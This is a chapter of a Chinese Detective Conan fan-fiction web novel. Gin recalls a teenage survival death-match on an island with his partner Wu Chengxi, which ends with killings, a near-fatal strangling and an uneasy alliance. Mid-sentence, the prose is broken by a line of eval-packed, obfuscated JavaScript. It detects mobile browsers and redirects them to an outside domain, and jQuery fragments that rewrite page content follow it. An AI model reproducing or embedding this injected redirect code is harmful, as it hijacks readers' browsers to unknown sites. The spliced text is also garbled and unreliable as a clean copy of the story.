假酒篡位笔记四叉叉鱼

55.第 55 章

    琴酒从酒吧出来时,路边的落叶被强风吹起,卷到他的黑大衣上。


    伏特加拿着一把长柄黑伞等在保时捷的车门前,说:“大哥,天气预报说东京今晚会有一场暴雨,之后会全面降温。”


    琴酒没应声,坐进副驾驶后说:“通知底下的人清点装备,全部到沃克群岛外的海域上盯着。”


    “是。”伏特加勤勤恳恳地编辑信息,发送给所有空闲的行动组干事。


    这个时间,酒厂人员大概都还没睡,之后也睡不着了。


    伏特加发完短信,附带上几个催命铃声,又说:“没想到继第三基地后,沃克岛上的基地也废弃了。幸好黑醋栗酒他们吸取教训,提前保护好了基地里的全部实验信息。”


    琴酒斜看他一眼:“这并不是完全的好事。”


    银发男人还要再说什么,却被铃声打断。他接通电话,那边的人诚惶诚恐地说了什么。


    半响后,琴酒扔下手机,脸色已经沉了下来:“原定沃克岛的人手分一半出来,跟我去最近的机场。”


    动物园投诚的残党还在作妖,炸了组织在欧洲的一个人才培养基地。夏布利酒打电话时声音都在发颤,生怕自己因为看管不利小命不保。


    琴酒会和他好好算账。


    眼下,在骤升的车速里,银发男人抬头,看着密集的雨滴打在车窗上,很快连成一线又滑落如幕布。


    他想起许多年前也见过一场暴雨。


    热带的降雨来得猝不及防,好在结盟的少年搭档组早有准备。


    其他“参赛选手”被淋得狗血淋头,为一块避雨地拼杀时,他们安静地缩在高坡上的洞穴里烤兔子。


    洞穴外摆着用叶片制作的简易储水器。海岛上,相对干净的淡水是最稀少的物资之一。


    乌城曦伸出手掌,穿过用石块堵塞的大半个洞口感受潮湿的水汽:“这场雨会带走那批因弱小而躲藏的人。”


    岛上到底有多少人身陷无休止的杀戮和挣扎求生呢?


    没人数得清。


    此前这对临时搭档一直靠乌城曦提前背下的岛屿地图沿边游走,避开了第一波大规模冲突。


    “胜者会清缴尸体上的装备,大幅搜索山林。”黑泽阵说,“最迟三天,我们会和第一帮乌丸的底层人员碰上。”


    乌城曦挪到洞穴的更深处,避免子弹里的火药因雨水而受潮:“他们之所以被称为底层人员,不就是因为只会报团取暖,一击即散吗?”


    配合了五六天,黑泽阵还算了解搭档的脑回路。


    “趁他们打扫战场时偷袭。”


    定下行动的大体方案后,乌城曦“呀”了一声:“兔子烤熟了!”


    她颇为可惜:“岛上的生态系统都已经被实验室排出的废物污染了,就算要保持体力,兔肉也只能吃一点点。”


    乌城曦边说话边从双肩包(抢来的)中的取出一袋军用压缩饼干,废了很大力气才将石块似的饼干切开,丢出一半。


    “喏,大哥。”


    倚着石壁闭目养神的黑泽阵抬手接过干粮,却在听到她的称呼时眼皮一跳。


    乌城曦敏锐得察觉了这点,调侃道:“怎么,听到自己的名字还反应不过来?”


    “没什么。”黑泽阵垂下眼,不再作声。


    结盟那天,编号003的女孩再次问到他的名字时,黑泽阵不想透漏身份信息,孤儿院时期别人对他的称呼就这么脱口而出:“あにき。”


    这个外国女孩似乎真的不知道あにき


    (兄貴)是什么意思,平平淡淡地喊过了这些天。


    直到离开岛屿后,乌城曦想起银毛少年那个略显古怪的表情,才回过味来。


    从此以后,她的每声“大哥”都是阴阳怪气。


    十六七岁的少年搭档不知道日后彼此会明争暗斗很多年。暴雨之下,他们在短暂的安宁时间里分食兔肉,凑近篝火昏昏欲睡,再狠掐自己一把。


    之后的事情,在琴酒的记忆里不甚清晰,不值得浪费时间思索。


    无非是偷袭或反杀,争夺武器、食物和干净的水源。


    尸体们有着他熟悉或不熟悉的脸,都在热带的岛屿上永远腐烂掩埋。


    为了不引起强敌对藏身地的注意,他们有时会将在附近倒下的尸体拖进大海。


    目送两个少女的尸骨被海浪吞没时,乌城曦忽然说:“全球每年有一百多万人口失踪。”


    她看向搭档:“或许这个岛上能占其中的万分之一。”


    黑泽阵面无表情:“不是死亡人口就行。”


    也有让银发少年面露无语的时候。


    某次两人在追捕一头离窝的小野猪的时候深入雨林,眼睁睁看着到嘴边的肥肉掉进腐殖地带的深坑。


    他们小心翼翼地凑近,又原路踮脚挪回去。


    坑里有比西瓜还大的甲壳虫盘踞,它们的节肢密密麻麻,足有半个身体长,腹部长着类似章鱼的一圈口器,分食小野猪就像人类吃西瓜。


    天知道乌丸的实验基地到底搞出了什么杂交物种。


    乌城曦退回去时没站稳,扶了一把黑泽阵的手臂。


    她背过身去,忍了又忍,还是小声尖叫了三秒钟。


    黑泽阵也没忍住:“你没见过虫子吗?”


    “这我真没见过。”乌城曦长大的国家地旷人稀气候寒冷,城市里连老鼠都少见。


    “其他野兽就罢了,你们南方的虫子都这么大吗?”


    “……它们要爬出来了,走。”


    后来,也是在这片雨林,乌城曦站在搭档身后,打出了贝莱塔里的最后一颗子弹。


    子弹擦过银发少年的衣角,打中他身后的酸豆树。


    黑泽阵维持着回头的姿势,一动不动,看少女弯起和他有些相似的绿眼睛,左手竖起大拇指晃了晃。


    003号不光武力超群,还有一手好枪法。


    黑泽阵的手枪在前两天的混战中掉进了海里。


    这是黑泽阵答应陪她赌一场的原因之一。


    他的脚边是一群尚且温热的、组织成员的尸体。


    他们死不瞑目,瞳孔放大朝天,大概想不明白,为什么两个未成年人被围攻逃窜了六个小时,才在最后关头拿出热武器呢?


    黑泽阵不顾右腿的伤势疾冲上前,对十天来的搭档直面出拳:“003,你过河拆桥的速度可真快。”


    乌城曦没再进行以往最擅长的闪避,两手并起将空枪挡在脸前,缓解直拳的冲力:“岛上太热了,大哥,我只是想快点去冲凉休息。”


    “别怪我,毕竟……”


    她这时说的还是黑泽阵在无聊时教过的、半生不熟的日语。


    少女任凭贝雷塔掉到地上,一个手刀劈向搭档的喉间,被挡住攻势直击腹部后也不恼。


    她趁势两手制住黑泽阵的手臂关节,拼上仅剩的力气试图反身背摔。


    黑泽阵在空中侧翻挣脱她的控制,自己朝下摔到地面的同时抬腿横扫。


    乌城曦滑步不及,双腿失衡,跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960971|158074||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着摔到泥土上。


    她心道不妙,立刻原地翻滚,却还是被率先起身的黑泽阵压住动作,背靠上一株老树。


    黑泽阵单膝压制着搭档的双腿,两手死死掐住了少女的脖子。


    乌城曦抓住他本就脱臼的右手腕关节卸力,少年在近似骨折的剧痛下不得不放下一只手臂。


    但没关系,他是左利手。


    “毕竟,你说过的,作为奖品的永久性强化剂只有一份。”


    黑泽阵加大力道,少女脸上还涂满着遮掩性别与容貌的可笑黑泥,因失氧终于流露出生物本能的恐慌。


    她无力地敲打搭档的左臂,绿眼睛因缺氧开始涣散,却还是直勾勾地注视着银发少年。


    监管员说:“Boss看好他。”


    集中牢房收了小点心的孤儿说:“大哥不在乎任何人的死活,但也不喜欢无意义的杀人。”


    贝尔摩德说:“你的心理侧写不错……那是西德某个高层的遗孤,受过良好的教育,根正苗黑。”


    定下计划前,乌城曦对黑泽阵说:“你也知道我有后台。”


    雾夜之下,深林之中。


    万籁俱寂,银发少年死死扼住少女的脖颈,他背后,乌城曦用不常用的那只手举起捡起来的手枪。


    扳机一直开着。


    枪里还有一发子弹。


    组队的第二天,分头摸地图时,乌城曦诱使无关紧要的喽啰冲她的方向攻击,然后说是自己开了那一枪。


    人类被掐住脖子后,窒息死亡的时间通常在30秒至2分钟之间?。


    黑泽阵似乎并没有用全力,但时间也快到乌城曦的极限了。


    没有声响后,诡异的甲壳虫们从土里爬出,嗅着味道啃食一地的血肉。


    吱吱呀呀,惹人心烦。


    乌城曦用右手敲敲少年的腕骨,示意他倒数十秒。


    碧翠的眼睛对上深绿,像新叶对上青苔。


    十、九、……四、三、二。


    乌丸莲耶的笑声响彻雨林,乌丸集团的广播器和窃听器一样漫山遍野,如乌云当空盘绕在荒岛的每个角落。


    “孩子们,往年只有一个人可以活下来,可你们都太优秀了,名贵锋利的刀刃可没法让收藏家做出选择啊!”


    “老不死的。”


    黑泽阵依旧面无表情地松手起身,乌城曦顾不得大口感受新鲜的空气,拉着他夺路而逃:“虫子要来啃我们啦!”


    淘汰赛的最终,海岛地面上除了野生动物外唯二的活物在岸边烤火,等候黑衣干事接他们下去。


    基地的教官亲自来了,嘴里念叨着什么“knock-down drag-out fight”,为自己开出了比赛的双黄蛋洋洋得意。


    没人理会他。


    太阳从黑色的海面上露出一缝光时,乌城曦并膝坐在沙土上,将脸凑近篝火,很轻地笑了一声。


    她挡住了上半张脸,黑泽阵看不出那是什么表情。


    杀人、被人杀。在漆黑的夜里像一场深梦,篝火般灼烧神经。


    然后太阳出来了,照进现实,像是火焰散进海面熔金,明晃晃刺人眼球。


    少女放下手,这才看清掌心的纹路里仍有暗淡的血色。


    “看不到光的未来啊。”她叹息一声,没顾及这话合不合身份。


    黑泽阵也不在意,破天荒跟着勾了下唇角,眉宇间初现雪狼般嗜杀的锋芒。


    他偏头去,看与日出截然相反的方向:“合作愉快。”